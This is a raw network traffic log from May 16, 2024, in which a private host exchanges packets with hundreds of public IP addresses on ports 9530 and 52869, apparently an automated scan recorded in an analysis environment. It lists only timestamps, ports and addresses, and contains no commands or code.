May 16, 2024 16:38:48.912817955 CEST	55095	9530	192.168.2.23	160.141.115.168
May 16, 2024 16:38:48.912817955 CEST	55095	9530	192.168.2.23	66.52.125.243
May 16, 2024 16:38:48.912868977 CEST	55095	9530	192.168.2.23	98.103.153.217
May 16, 2024 16:38:48.912868977 CEST	55095	9530	192.168.2.23	41.184.108.155
May 16, 2024 16:38:48.912868977 CEST	55095	9530	192.168.2.23	124.58.214.37
May 16, 2024 16:38:48.912872076 CEST	55095	9530	192.168.2.23	51.15.195.78
May 16, 2024 16:38:48.912872076 CEST	55095	9530	192.168.2.23	116.25.14.110
May 16, 2024 16:38:48.912873983 CEST	55095	9530	192.168.2.23	170.87.14.189
May 16, 2024 16:38:48.912873983 CEST	55095	9530	192.168.2.23	203.123.183.191
May 16, 2024 16:38:48.912873983 CEST	55095	9530	192.168.2.23	152.42.237.115
May 16, 2024 16:38:48.912872076 CEST	55095	9530	192.168.2.23	194.143.33.238
May 16, 2024 16:38:48.912878990 CEST	55095	9530	192.168.2.23	19.213.26.213
May 16, 2024 16:38:48.912878990 CEST	55095	9530	192.168.2.23	14.105.129.11
May 16, 2024 16:38:48.912878990 CEST	55095	9530	192.168.2.23	196.173.183.227
May 16, 2024 16:38:48.912878990 CEST	55095	9530	192.168.2.23	70.251.61.124
May 16, 2024 16:38:48.912880898 CEST	55095	9530	192.168.2.23	141.57.112.54
May 16, 2024 16:38:48.912880898 CEST	55095	9530	192.168.2.23	63.183.144.250
May 16, 2024 16:38:48.912880898 CEST	55095	9530	192.168.2.23	189.206.15.141
May 16, 2024 16:38:48.912882090 CEST	55095	9530	192.168.2.23	113.110.19.229
May 16, 2024 16:38:48.912894011 CEST	55095	9530	192.168.2.23	57.249.85.170
May 16, 2024 16:38:48.912897110 CEST	55095	9530	192.168.2.23	180.222.128.142
May 16, 2024 16:38:48.912899971 CEST	55095	9530	192.168.2.23	109.41.41.92
May 16, 2024 16:38:48.912899971 CEST	55095	9530	192.168.2.23	42.134.40.99
May 16, 2024 16:38:48.912914991 CEST	55095	9530	192.168.2.23	107.32.73.197
May 16, 2024 16:38:48.912924051 CEST	55095	9530	192.168.2.23	185.196.165.222
May 16, 2024 16:38:48.912924051 CEST	55095	9530	192.168.2.23	170.177.19.66
May 16, 2024 16:38:48.912926912 CEST	55095	9530	192.168.2.23	46.235.210.168
May 16, 2024 16:38:48.912926912 CEST	55095	9530	192.168.2.23	70.70.227.143
May 16, 2024 16:38:48.912926912 CEST	55095	9530	192.168.2.23	187.19.20.188
May 16, 2024 16:38:48.912935019 CEST	55095	9530	192.168.2.23	89.236.58.66
May 16, 2024 16:38:48.912939072 CEST	55095	9530	192.168.2.23	23.227.66.1
May 16, 2024 16:38:48.912971020 CEST	55095	9530	192.168.2.23	164.251.42.118
May 16, 2024 16:38:48.912972927 CEST	55095	9530	192.168.2.23	143.193.194.251
May 16, 2024 16:38:48.912981033 CEST	55095	9530	192.168.2.23	25.176.4.187
May 16, 2024 16:38:48.912992001 CEST	55095	9530	192.168.2.23	40.109.30.160
May 16, 2024 16:38:48.913016081 CEST	55095	9530	192.168.2.23	40.91.212.20
May 16, 2024 16:38:48.913018942 CEST	55095	9530	192.168.2.23	207.45.140.248
May 16, 2024 16:38:48.913026094 CEST	55095	9530	192.168.2.23	93.13.183.95
May 16, 2024 16:38:48.913033009 CEST	55095	9530	192.168.2.23	101.81.50.123
May 16, 2024 16:38:48.913044930 CEST	55095	9530	192.168.2.23	186.114.51.190
May 16, 2024 16:38:48.913053989 CEST	55095	9530	192.168.2.23	189.157.143.3
May 16, 2024 16:38:48.913059950 CEST	55095	9530	192.168.2.23	131.67.153.207
May 16, 2024 16:38:48.913058996 CEST	55095	9530	192.168.2.23	163.151.225.70
May 16, 2024 16:38:48.913058996 CEST	55095	9530	192.168.2.23	49.249.187.63
May 16, 2024 16:38:48.913073063 CEST	55095	9530	192.168.2.23	89.217.175.205
May 16, 2024 16:38:48.913146973 CEST	55095	9530	192.168.2.23	168.227.233.143
May 16, 2024 16:38:48.913146973 CEST	55095	9530	192.168.2.23	53.2.173.174
May 16, 2024 16:38:48.913151979 CEST	55095	9530	192.168.2.23	199.132.154.196
May 16, 2024 16:38:48.913151979 CEST	55095	9530	192.168.2.23	142.9.181.62
May 16, 2024 16:38:48.913156033 CEST	55095	9530	192.168.2.23	187.250.136.119
May 16, 2024 16:38:48.913156986 CEST	55095	9530	192.168.2.23	13.165.37.88
May 16, 2024 16:38:48.913157940 CEST	55095	9530	192.168.2.23	150.189.205.15
May 16, 2024 16:38:48.913157940 CEST	55095	9530	192.168.2.23	188.195.13.100
May 16, 2024 16:38:48.913160086 CEST	55095	9530	192.168.2.23	131.230.133.141
May 16, 2024 16:38:48.913160086 CEST	55095	9530	192.168.2.23	77.156.12.22
May 16, 2024 16:38:48.913176060 CEST	55095	9530	192.168.2.23	82.45.108.97
May 16, 2024 16:38:48.913176060 CEST	55095	9530	192.168.2.23	147.132.78.27
May 16, 2024 16:38:48.913182974 CEST	55095	9530	192.168.2.23	78.251.247.218
May 16, 2024 16:38:48.913183928 CEST	55095	9530	192.168.2.23	5.243.244.140
May 16, 2024 16:38:48.913189888 CEST	55095	9530	192.168.2.23	222.120.156.66
May 16, 2024 16:38:48.913192987 CEST	55095	9530	192.168.2.23	200.23.45.215
May 16, 2024 16:38:48.913203955 CEST	55095	9530	192.168.2.23	9.180.73.222
May 16, 2024 16:38:48.913206100 CEST	55095	9530	192.168.2.23	158.217.88.55
May 16, 2024 16:38:48.913207054 CEST	55095	9530	192.168.2.23	74.7.40.176
May 16, 2024 16:38:48.913219929 CEST	55095	9530	192.168.2.23	27.79.43.202
May 16, 2024 16:38:48.913220882 CEST	55095	9530	192.168.2.23	178.43.167.137
May 16, 2024 16:38:48.913223028 CEST	55095	9530	192.168.2.23	46.13.99.65
May 16, 2024 16:38:48.913230896 CEST	55095	9530	192.168.2.23	144.152.210.13
May 16, 2024 16:38:48.913230896 CEST	55095	9530	192.168.2.23	93.25.179.182
May 16, 2024 16:38:48.913234949 CEST	55095	9530	192.168.2.23	2.108.10.108
May 16, 2024 16:38:48.913244963 CEST	55095	9530	192.168.2.23	160.58.131.128
May 16, 2024 16:38:48.913244963 CEST	55095	9530	192.168.2.23	8.78.92.9
May 16, 2024 16:38:48.913244963 CEST	55095	9530	192.168.2.23	68.166.51.39
May 16, 2024 16:38:48.913249016 CEST	55095	9530	192.168.2.23	61.156.255.39
May 16, 2024 16:38:48.913249016 CEST	55095	9530	192.168.2.23	85.27.213.251
May 16, 2024 16:38:48.913253069 CEST	55095	9530	192.168.2.23	9.22.9.203
May 16, 2024 16:38:48.913259983 CEST	55095	9530	192.168.2.23	145.151.222.160
May 16, 2024 16:38:48.913321018 CEST	55095	9530	192.168.2.23	157.207.190.143
May 16, 2024 16:38:48.913343906 CEST	55095	9530	192.168.2.23	144.10.104.74
May 16, 2024 16:38:48.913343906 CEST	55095	9530	192.168.2.23	103.25.163.70
May 16, 2024 16:38:48.913343906 CEST	55095	9530	192.168.2.23	74.153.90.107
May 16, 2024 16:38:48.913343906 CEST	55095	9530	192.168.2.23	154.237.165.117
May 16, 2024 16:38:48.913345098 CEST	55095	9530	192.168.2.23	183.21.253.145
May 16, 2024 16:38:48.913345098 CEST	55095	9530	192.168.2.23	4.110.159.180
May 16, 2024 16:38:48.913345098 CEST	55095	9530	192.168.2.23	81.56.32.91
May 16, 2024 16:38:48.913345098 CEST	55095	9530	192.168.2.23	152.89.201.79
May 16, 2024 16:38:48.913345098 CEST	55095	9530	192.168.2.23	105.181.12.36
May 16, 2024 16:38:48.913345098 CEST	55095	9530	192.168.2.23	80.71.76.157
May 16, 2024 16:38:48.913350105 CEST	55095	9530	192.168.2.23	92.6.127.200
May 16, 2024 16:38:48.913350105 CEST	55095	9530	192.168.2.23	108.113.172.237
May 16, 2024 16:38:48.913351059 CEST	55095	9530	192.168.2.23	12.221.59.103
May 16, 2024 16:38:48.913350105 CEST	55095	9530	192.168.2.23	12.226.47.5
May 16, 2024 16:38:48.913350105 CEST	55095	9530	192.168.2.23	83.148.246.107
May 16, 2024 16:38:48.913350105 CEST	55095	9530	192.168.2.23	69.79.183.102
May 16, 2024 16:38:48.913350105 CEST	55095	9530	192.168.2.23	190.58.155.106
May 16, 2024 16:38:48.913350105 CEST	55095	9530	192.168.2.23	112.155.148.115
May 16, 2024 16:38:48.913350105 CEST	55095	9530	192.168.2.23	64.181.55.230
May 16, 2024 16:38:48.913350105 CEST	55095	9530	192.168.2.23	119.119.242.141
May 16, 2024 16:38:48.913350105 CEST	55095	9530	192.168.2.23	156.212.125.236
May 16, 2024 16:38:48.913350105 CEST	55095	9530	192.168.2.23	99.197.249.201
May 16, 2024 16:38:48.913369894 CEST	55095	9530	192.168.2.23	92.209.142.234
May 16, 2024 16:38:48.913369894 CEST	55095	9530	192.168.2.23	157.226.50.204
May 16, 2024 16:38:48.913369894 CEST	55095	9530	192.168.2.23	190.206.195.59
May 16, 2024 16:38:48.913369894 CEST	55095	9530	192.168.2.23	158.229.130.82
May 16, 2024 16:38:48.913369894 CEST	55095	9530	192.168.2.23	27.202.25.182
May 16, 2024 16:38:48.913369894 CEST	55095	9530	192.168.2.23	200.207.206.22
May 16, 2024 16:38:48.913378000 CEST	55095	9530	192.168.2.23	120.166.252.179
May 16, 2024 16:38:48.913378000 CEST	55095	9530	192.168.2.23	99.53.37.147
May 16, 2024 16:38:48.913378000 CEST	55095	9530	192.168.2.23	135.25.111.216
May 16, 2024 16:38:48.913378000 CEST	55095	9530	192.168.2.23	124.160.180.31
May 16, 2024 16:38:48.913379908 CEST	55095	9530	192.168.2.23	195.38.0.222
May 16, 2024 16:38:48.913379908 CEST	55095	9530	192.168.2.23	36.255.228.44
May 16, 2024 16:38:48.913379908 CEST	55095	9530	192.168.2.23	182.182.205.21
May 16, 2024 16:38:48.913383007 CEST	55095	9530	192.168.2.23	123.183.203.139
May 16, 2024 16:38:48.913383007 CEST	55095	9530	192.168.2.23	50.166.255.224
May 16, 2024 16:38:48.913383007 CEST	55095	9530	192.168.2.23	65.233.241.22
May 16, 2024 16:38:48.913383007 CEST	55095	9530	192.168.2.23	142.108.134.4
May 16, 2024 16:38:48.913383007 CEST	55095	9530	192.168.2.23	177.203.57.235
May 16, 2024 16:38:48.913383007 CEST	55095	9530	192.168.2.23	122.114.255.247
May 16, 2024 16:38:48.913383007 CEST	55095	9530	192.168.2.23	41.228.167.168
May 16, 2024 16:38:48.913384914 CEST	55095	9530	192.168.2.23	125.213.76.27
May 16, 2024 16:38:48.913383007 CEST	55095	9530	192.168.2.23	39.84.30.136
May 16, 2024 16:38:48.913384914 CEST	55095	9530	192.168.2.23	152.170.106.69
May 16, 2024 16:38:48.913384914 CEST	55095	9530	192.168.2.23	90.193.250.143
May 16, 2024 16:38:48.913384914 CEST	55095	9530	192.168.2.23	106.227.252.194
May 16, 2024 16:38:48.913398981 CEST	55095	9530	192.168.2.23	183.46.161.149
May 16, 2024 16:38:48.913398981 CEST	55095	9530	192.168.2.23	105.3.33.207
May 16, 2024 16:38:48.913419008 CEST	55095	9530	192.168.2.23	52.196.158.136
May 16, 2024 16:38:48.913419008 CEST	55095	9530	192.168.2.23	27.97.24.188
May 16, 2024 16:38:48.913420916 CEST	55095	9530	192.168.2.23	25.201.102.160
May 16, 2024 16:38:48.913420916 CEST	55095	9530	192.168.2.23	143.72.201.95
May 16, 2024 16:38:48.913420916 CEST	55095	9530	192.168.2.23	144.164.157.209
May 16, 2024 16:38:48.913420916 CEST	55095	9530	192.168.2.23	45.172.185.63
May 16, 2024 16:38:48.913420916 CEST	55095	9530	192.168.2.23	68.35.206.193
May 16, 2024 16:38:48.913420916 CEST	55095	9530	192.168.2.23	188.91.234.235
May 16, 2024 16:38:48.913420916 CEST	55095	9530	192.168.2.23	47.63.57.56
May 16, 2024 16:38:48.913420916 CEST	55095	9530	192.168.2.23	219.239.29.156
May 16, 2024 16:38:48.913429022 CEST	55095	9530	192.168.2.23	41.168.18.155
May 16, 2024 16:38:48.913429976 CEST	55095	9530	192.168.2.23	213.198.17.201
May 16, 2024 16:38:48.913429022 CEST	55095	9530	192.168.2.23	187.151.245.101
May 16, 2024 16:38:48.913429976 CEST	55095	9530	192.168.2.23	212.167.158.48
May 16, 2024 16:38:48.913429022 CEST	55095	9530	192.168.2.23	116.167.204.194
May 16, 2024 16:38:48.913429976 CEST	55095	9530	192.168.2.23	23.83.119.210
May 16, 2024 16:38:48.913434029 CEST	55095	9530	192.168.2.23	35.181.204.110
May 16, 2024 16:38:48.913429976 CEST	55095	9530	192.168.2.23	68.1.126.22
May 16, 2024 16:38:48.913434029 CEST	55095	9530	192.168.2.23	103.237.81.249
May 16, 2024 16:38:48.913429976 CEST	55095	9530	192.168.2.23	151.244.240.188
May 16, 2024 16:38:48.913434029 CEST	55095	9530	192.168.2.23	59.147.217.107
May 16, 2024 16:38:48.913429976 CEST	55095	9530	192.168.2.23	211.22.174.251
May 16, 2024 16:38:48.913434982 CEST	55095	9530	192.168.2.23	156.114.250.153
May 16, 2024 16:38:48.913429976 CEST	55095	9530	192.168.2.23	84.189.31.117
May 16, 2024 16:38:48.913434029 CEST	55095	9530	192.168.2.23	167.224.132.102
May 16, 2024 16:38:48.913434982 CEST	55095	9530	192.168.2.23	75.157.13.220
May 16, 2024 16:38:48.913434029 CEST	55095	9530	192.168.2.23	137.240.223.2
May 16, 2024 16:38:48.913440943 CEST	55095	9530	192.168.2.23	212.215.148.178
May 16, 2024 16:38:48.913434982 CEST	55095	9530	192.168.2.23	222.184.30.153
May 16, 2024 16:38:48.913434029 CEST	55095	9530	192.168.2.23	70.136.82.41
May 16, 2024 16:38:48.913433075 CEST	55095	9530	192.168.2.23	134.75.125.133
May 16, 2024 16:38:48.913440943 CEST	55095	9530	192.168.2.23	89.202.103.145
May 16, 2024 16:38:48.913434029 CEST	55095	9530	192.168.2.23	25.142.74.188
May 16, 2024 16:38:48.913440943 CEST	55095	9530	192.168.2.23	32.251.131.254
May 16, 2024 16:38:48.913433075 CEST	55095	9530	192.168.2.23	98.152.207.40
May 16, 2024 16:38:48.913440943 CEST	55095	9530	192.168.2.23	199.114.71.97
May 16, 2024 16:38:48.913434029 CEST	55095	9530	192.168.2.23	209.214.245.218
May 16, 2024 16:38:48.913440943 CEST	55095	9530	192.168.2.23	18.31.8.51
May 16, 2024 16:38:48.913434029 CEST	55095	9530	192.168.2.23	168.88.97.100
May 16, 2024 16:38:48.913440943 CEST	55095	9530	192.168.2.23	194.187.180.19
May 16, 2024 16:38:48.913434029 CEST	55095	9530	192.168.2.23	109.149.123.128
May 16, 2024 16:38:48.913440943 CEST	55095	9530	192.168.2.23	139.80.81.163
May 16, 2024 16:38:48.913450956 CEST	55095	9530	192.168.2.23	39.255.240.60
May 16, 2024 16:38:48.913440943 CEST	55095	9530	192.168.2.23	210.56.132.132
May 16, 2024 16:38:48.913458109 CEST	55095	9530	192.168.2.23	124.106.83.110
May 16, 2024 16:38:48.913470030 CEST	55095	9530	192.168.2.23	1.253.112.180
May 16, 2024 16:38:48.913496971 CEST	55095	9530	192.168.2.23	64.95.89.102
May 16, 2024 16:38:48.913496971 CEST	55095	9530	192.168.2.23	122.212.172.231
May 16, 2024 16:38:48.913496971 CEST	55095	9530	192.168.2.23	211.70.75.96
May 16, 2024 16:38:48.913496971 CEST	55095	9530	192.168.2.23	110.131.213.231
May 16, 2024 16:38:48.913503885 CEST	55095	9530	192.168.2.23	140.156.205.124
May 16, 2024 16:38:48.913503885 CEST	55095	9530	192.168.2.23	116.206.137.97
May 16, 2024 16:38:48.913503885 CEST	55095	9530	192.168.2.23	35.3.206.199
May 16, 2024 16:38:48.913503885 CEST	55095	9530	192.168.2.23	183.126.244.181
May 16, 2024 16:38:48.915178061 CEST	52869	43344	186.36.32.96	192.168.2.23
May 16, 2024 16:38:48.915188074 CEST	52869	54060	22.237.152.155	192.168.2.23
May 16, 2024 16:38:48.915198088 CEST	52869	56762	217.121.249.104	192.168.2.23
May 16, 2024 16:38:48.915210962 CEST	52869	50322	32.101.154.179	192.168.2.23
May 16, 2024 16:38:48.915220976 CEST	52869	37758	212.31.178.117	192.168.2.23
May 16, 2024 16:38:48.915229082 CEST	52869	45944	163.32.182.167	192.168.2.23
May 16, 2024 16:38:48.915235043 CEST	43344	52869	192.168.2.23	186.36.32.96
May 16, 2024 16:38:48.915236950 CEST	52869	49148	41.196.59.121	192.168.2.23
May 16, 2024 16:38:48.915244102 CEST	56762	52869	192.168.2.23	217.121.249.104
May 16, 2024 16:38:48.915246964 CEST	52869	57694	220.226.31.47	192.168.2.23
May 16, 2024 16:38:48.915256023 CEST	52869	55496	205.153.152.20	192.168.2.23
May 16, 2024 16:38:48.915266991 CEST	37758	52869	192.168.2.23	212.31.178.117
May 16, 2024 16:38:48.915280104 CEST	45944	52869	192.168.2.23	163.32.182.167
May 16, 2024 16:38:48.915281057 CEST	49148	52869	192.168.2.23	41.196.59.121
May 16, 2024 16:38:48.915293932 CEST	54060	52869	192.168.2.23	22.237.152.155
May 16, 2024 16:38:48.915293932 CEST	50322	52869	192.168.2.23	32.101.154.179
May 16, 2024 16:38:48.915311098 CEST	57694	52869	192.168.2.23	220.226.31.47
May 16, 2024 16:38:48.915332079 CEST	55496	52869	192.168.2.23	205.153.152.20
May 16, 2024 16:38:48.916507006 CEST	9530	55095	42.222.106.168	192.168.2.23
May 16, 2024 16:38:48.916517019 CEST	9530	55095	105.168.21.86	192.168.2.23
May 16, 2024 16:38:48.916526079 CEST	9530	55095	12.172.250.221	192.168.2.23
May 16, 2024 16:38:48.916536093 CEST	9530	55095	77.249.36.58	192.168.2.23
May 16, 2024 16:38:48.916543007 CEST	9530	55095	188.74.50.28	192.168.2.23
May 16, 2024 16:38:48.916547060 CEST	9530	55095	62.12.76.75	192.168.2.23
May 16, 2024 16:38:48.916555882 CEST	9530	55095	35.5.142.23	192.168.2.23
May 16, 2024 16:38:48.916557074 CEST	55095	9530	192.168.2.23	105.168.21.86
May 16, 2024 16:38:48.916558981 CEST	55095	9530	192.168.2.23	12.172.250.221
May 16, 2024 16:38:48.916567087 CEST	55095	9530	192.168.2.23	42.222.106.168
May 16, 2024 16:38:48.916567087 CEST	9530	55095	129.154.204.88	192.168.2.23
May 16, 2024 16:38:48.916573048 CEST	55095	9530	192.168.2.23	188.74.50.28
May 16, 2024 16:38:48.916574001 CEST	55095	9530	192.168.2.23	77.249.36.58
May 16, 2024 16:38:48.916577101 CEST	9530	55095	179.129.11.88	192.168.2.23
May 16, 2024 16:38:48.916589022 CEST	9530	55095	203.139.168.178	192.168.2.23
May 16, 2024 16:38:48.916591883 CEST	55095	9530	192.168.2.23	62.12.76.75
May 16, 2024 16:38:48.916591883 CEST	55095	9530	192.168.2.23	35.5.142.23
May 16, 2024 16:38:48.916593075 CEST	55095	9530	192.168.2.23	129.154.204.88
May 16, 2024 16:38:48.916599035 CEST	9530	55095	192.50.34.36	192.168.2.23
May 16, 2024 16:38:48.916614056 CEST	9530	55095	76.224.22.57	192.168.2.23
May 16, 2024 16:38:48.916614056 CEST	55095	9530	192.168.2.23	179.129.11.88
May 16, 2024 16:38:48.916624069 CEST	9530	55095	204.198.66.255	192.168.2.23
May 16, 2024 16:38:48.916634083 CEST	9530	55095	70.146.226.174	192.168.2.23
May 16, 2024 16:38:48.916642904 CEST	9530	55095	48.51.165.142	192.168.2.23
May 16, 2024 16:38:48.916651964 CEST	55095	9530	192.168.2.23	76.224.22.57
May 16, 2024 16:38:48.916651964 CEST	9530	55095	186.46.95.60	192.168.2.23
May 16, 2024 16:38:48.916656971 CEST	55095	9530	192.168.2.23	203.139.168.178
May 16, 2024 16:38:48.916656971 CEST	55095	9530	192.168.2.23	192.50.34.36
May 16, 2024 16:38:48.916662931 CEST	9530	55095	218.218.131.147	192.168.2.23
May 16, 2024 16:38:48.916666985 CEST	55095	9530	192.168.2.23	204.198.66.255
May 16, 2024 16:38:48.916671038 CEST	55095	9530	192.168.2.23	48.51.165.142
May 16, 2024 16:38:48.916672945 CEST	55095	9530	192.168.2.23	70.146.226.174
May 16, 2024 16:38:48.916673899 CEST	9530	55095	146.254.171.241	192.168.2.23
May 16, 2024 16:38:48.916682959 CEST	9530	55095	71.74.233.156	192.168.2.23
May 16, 2024 16:38:48.916692019 CEST	9530	55095	20.65.237.135	192.168.2.23
May 16, 2024 16:38:48.916713953 CEST	55095	9530	192.168.2.23	71.74.233.156
May 16, 2024 16:38:48.916716099 CEST	55095	9530	192.168.2.23	186.46.95.60
May 16, 2024 16:38:48.916716099 CEST	55095	9530	192.168.2.23	218.218.131.147
May 16, 2024 16:38:48.916716099 CEST	55095	9530	192.168.2.23	146.254.171.241
May 16, 2024 16:38:48.916718006 CEST	55095	9530	192.168.2.23	20.65.237.135
May 16, 2024 16:38:48.921369076 CEST	9530	55095	49.174.237.150	192.168.2.23
May 16, 2024 16:38:48.921381950 CEST	9530	55095	19.143.213.237	192.168.2.23
May 16, 2024 16:38:48.921391964 CEST	9530	55095	27.163.86.188	192.168.2.23
May 16, 2024 16:38:48.921402931 CEST	9530	55095	17.16.69.65	192.168.2.23
May 16, 2024 16:38:48.921406984 CEST	55095	9530	192.168.2.23	49.174.237.150
May 16, 2024 16:38:48.921406984 CEST	55095	9530	192.168.2.23	19.143.213.237
May 16, 2024 16:38:48.921411037 CEST	9530	55095	150.41.186.17	192.168.2.23
May 16, 2024 16:38:48.921423912 CEST	9530	55095	38.45.198.201	192.168.2.23
May 16, 2024 16:38:48.921433926 CEST	9530	55095	111.156.205.146	192.168.2.23
May 16, 2024 16:38:48.921432972 CEST	55095	9530	192.168.2.23	27.163.86.188
May 16, 2024 16:38:48.921441078 CEST	55095	9530	192.168.2.23	17.16.69.65
May 16, 2024 16:38:48.921442032 CEST	9530	55095	220.30.234.129	192.168.2.23
May 16, 2024 16:38:48.921447992 CEST	55095	9530	192.168.2.23	150.41.186.17
May 16, 2024 16:38:48.921454906 CEST	9530	55095	158.104.140.248	192.168.2.23
May 16, 2024 16:38:48.921458960 CEST	55095	9530	192.168.2.23	38.45.198.201
May 16, 2024 16:38:48.921462059 CEST	55095	9530	192.168.2.23	111.156.205.146
May 16, 2024 16:38:48.921464920 CEST	9530	55095	188.121.105.146	192.168.2.23
May 16, 2024 16:38:48.921473026 CEST	55095	9530	192.168.2.23	220.30.234.129
May 16, 2024 16:38:48.921475887 CEST	9530	55095	91.5.206.191	192.168.2.23
May 16, 2024 16:38:48.921489000 CEST	9530	55095	211.244.115.203	192.168.2.23
May 16, 2024 16:38:48.921489000 CEST	55095	9530	192.168.2.23	158.104.140.248
May 16, 2024 16:38:48.921492100 CEST	55095	9530	192.168.2.23	188.121.105.146
May 16, 2024 16:38:48.921498060 CEST	9530	55095	144.169.142.66	192.168.2.23
May 16, 2024 16:38:48.921508074 CEST	9530	55095	94.99.152.103	192.168.2.23
May 16, 2024 16:38:48.921516895 CEST	9530	55095	120.7.53.192	192.168.2.23
May 16, 2024 16:38:48.921519995 CEST	55095	9530	192.168.2.23	211.244.115.203
May 16, 2024 16:38:48.921519995 CEST	55095	9530	192.168.2.23	91.5.206.191
May 16, 2024 16:38:48.921525955 CEST	9530	55095	78.65.90.145	192.168.2.23
May 16, 2024 16:38:48.921529055 CEST	55095	9530	192.168.2.23	144.169.142.66
May 16, 2024 16:38:48.921535969 CEST	55095	9530	192.168.2.23	94.99.152.103
May 16, 2024 16:38:48.921536922 CEST	9530	55095	36.131.240.112	192.168.2.23
May 16, 2024 16:38:48.921545982 CEST	9530	55095	68.38.59.56	192.168.2.23
May 16, 2024 16:38:48.921550989 CEST	55095	9530	192.168.2.23	120.7.53.192
May 16, 2024 16:38:48.921555996 CEST	9530	55095	60.16.90.147	192.168.2.23
May 16, 2024 16:38:48.921559095 CEST	55095	9530	192.168.2.23	78.65.90.145
May 16, 2024 16:38:48.921565056 CEST	9530	55095	71.85.226.131	192.168.2.23
May 16, 2024 16:38:48.921577930 CEST	55095	9530	192.168.2.23	36.131.240.112
May 16, 2024 16:38:48.921578884 CEST	55095	9530	192.168.2.23	68.38.59.56
May 16, 2024 16:38:48.921588898 CEST	55095	9530	192.168.2.23	60.16.90.147
May 16, 2024 16:38:48.921641111 CEST	55095	9530	192.168.2.23	71.85.226.131
May 16, 2024 16:38:48.926270008 CEST	9530	55095	121.57.20.205	192.168.2.23
May 16, 2024 16:38:48.926281929 CEST	9530	55095	173.139.233.125	192.168.2.23
May 16, 2024 16:38:48.926290035 CEST	9530	55095	69.130.236.117	192.168.2.23
May 16, 2024 16:38:48.926299095 CEST	9530	55095	76.81.45.122	192.168.2.23
May 16, 2024 16:38:48.926309109 CEST	9530	55095	66.230.161.144	192.168.2.23
May 16, 2024 16:38:48.926316977 CEST	9530	55095	9.225.135.63	192.168.2.23
May 16, 2024 16:38:48.926330090 CEST	9530	55095	20.119.15.2	192.168.2.23
May 16, 2024 16:38:48.926338911 CEST	9530	55095	209.10.231.11	192.168.2.23
May 16, 2024 16:38:48.926347017 CEST	9530	55095	118.43.47.7	192.168.2.23
May 16, 2024 16:38:48.926356077 CEST	9530	55095	79.190.78.246	192.168.2.23
May 16, 2024 16:38:48.926366091 CEST	9530	55095	219.241.149.193	192.168.2.23
May 16, 2024 16:38:48.926374912 CEST	9530	55095	87.93.198.61	192.168.2.23
May 16, 2024 16:38:48.926383018 CEST	9530	55095	125.33.142.104	192.168.2.23
May 16, 2024 16:38:48.926390886 CEST	9530	55095	120.39.157.116	192.168.2.23
May 16, 2024 16:38:48.926398993 CEST	9530	55095	221.134.102.117	192.168.2.23
May 16, 2024 16:38:48.926409006 CEST	9530	55095	193.187.13.81	192.168.2.23
May 16, 2024 16:38:48.926417112 CEST	9530	55095	138.181.42.183	192.168.2.23
May 16, 2024 16:38:48.926424980 CEST	9530	55095	208.210.177.35	192.168.2.23
May 16, 2024 16:38:48.926434040 CEST	9530	55095	81.140.210.3	192.168.2.23
May 16, 2024 16:38:48.926441908 CEST	9530	55095	96.47.41.165	192.168.2.23
May 16, 2024 16:38:48.926455021 CEST	9530	55095	158.107.85.20	192.168.2.23
May 16, 2024 16:38:48.926470995 CEST	55095	9530	192.168.2.23	66.230.161.144
May 16, 2024 16:38:48.926474094 CEST	55095	9530	192.168.2.23	118.43.47.7
May 16, 2024 16:38:48.926477909 CEST	55095	9530	192.168.2.23	79.190.78.246
May 16, 2024 16:38:48.926479101 CEST	55095	9530	192.168.2.23	219.241.149.193
May 16, 2024 16:38:48.926495075 CEST	55095	9530	192.168.2.23	125.33.142.104
May 16, 2024 16:38:48.926497936 CEST	55095	9530	192.168.2.23	221.134.102.117
May 16, 2024 16:38:48.926503897 CEST	55095	9530	192.168.2.23	193.187.13.81
May 16, 2024 16:38:48.926503897 CEST	55095	9530	192.168.2.23	138.181.42.183
May 16, 2024 16:38:48.926512003 CEST	55095	9530	192.168.2.23	158.107.85.20
May 16, 2024 16:38:48.926513910 CEST	55095	9530	192.168.2.23	208.210.177.35
May 16, 2024 16:38:48.926516056 CEST	55095	9530	192.168.2.23	81.140.210.3
May 16, 2024 16:38:48.926523924 CEST	55095	9530	192.168.2.23	69.130.236.117
May 16, 2024 16:38:48.926527023 CEST	55095	9530	192.168.2.23	121.57.20.205
May 16, 2024 16:38:48.926529884 CEST	55095	9530	192.168.2.23	76.81.45.122
May 16, 2024 16:38:48.926532030 CEST	55095	9530	192.168.2.23	173.139.233.125
May 16, 2024 16:38:48.926532030 CEST	55095	9530	192.168.2.23	9.225.135.63
May 16, 2024 16:38:48.926536083 CEST	55095	9530	192.168.2.23	20.119.15.2
May 16, 2024 16:38:48.926546097 CEST	55095	9530	192.168.2.23	209.10.231.11
May 16, 2024 16:38:48.926548958 CEST	55095	9530	192.168.2.23	87.93.198.61
May 16, 2024 16:38:48.926561117 CEST	55095	9530	192.168.2.23	120.39.157.116
May 16, 2024 16:38:48.926562071 CEST	55095	9530	192.168.2.23	96.47.41.165
May 16, 2024 16:38:48.930217028 CEST	9530	55095	207.55.44.130	192.168.2.23
May 16, 2024 16:38:48.930228949 CEST	9530	55095	18.8.254.48	192.168.2.23
May 16, 2024 16:38:48.930238008 CEST	9530	55095	139.40.54.159	192.168.2.23
May 16, 2024 16:38:48.930247068 CEST	9530	55095	120.86.196.233	192.168.2.23
May 16, 2024 16:38:48.930254936 CEST	9530	55095	17.213.55.175	192.168.2.23
May 16, 2024 16:38:48.930264950 CEST	9530	55095	113.255.28.131	192.168.2.23
May 16, 2024 16:38:48.930273056 CEST	9530	55095	25.196.147.175	192.168.2.23
May 16, 2024 16:38:48.930285931 CEST	9530	55095	76.35.153.2	192.168.2.23
May 16, 2024 16:38:48.930285931 CEST	55095	9530	192.168.2.23	120.86.196.233
May 16, 2024 16:38:48.930286884 CEST	55095	9530	192.168.2.23	17.213.55.175
May 16, 2024 16:38:48.930288076 CEST	55095	9530	192.168.2.23	207.55.44.130
May 16, 2024 16:38:48.930288076 CEST	55095	9530	192.168.2.23	139.40.54.159
May 16, 2024 16:38:48.930294991 CEST	9530	55095	85.250.149.203	192.168.2.23
May 16, 2024 16:38:48.930299044 CEST	55095	9530	192.168.2.23	18.8.254.48
May 16, 2024 16:38:48.930305004 CEST	9530	55095	208.155.77.19	192.168.2.23
May 16, 2024 16:38:48.930306911 CEST	55095	9530	192.168.2.23	113.255.28.131
May 16, 2024 16:38:48.930306911 CEST	55095	9530	192.168.2.23	25.196.147.175
May 16, 2024 16:38:48.930314064 CEST	9530	55095	81.18.233.206	192.168.2.23
May 16, 2024 16:38:48.930325985 CEST	9530	55095	156.157.243.44	192.168.2.23
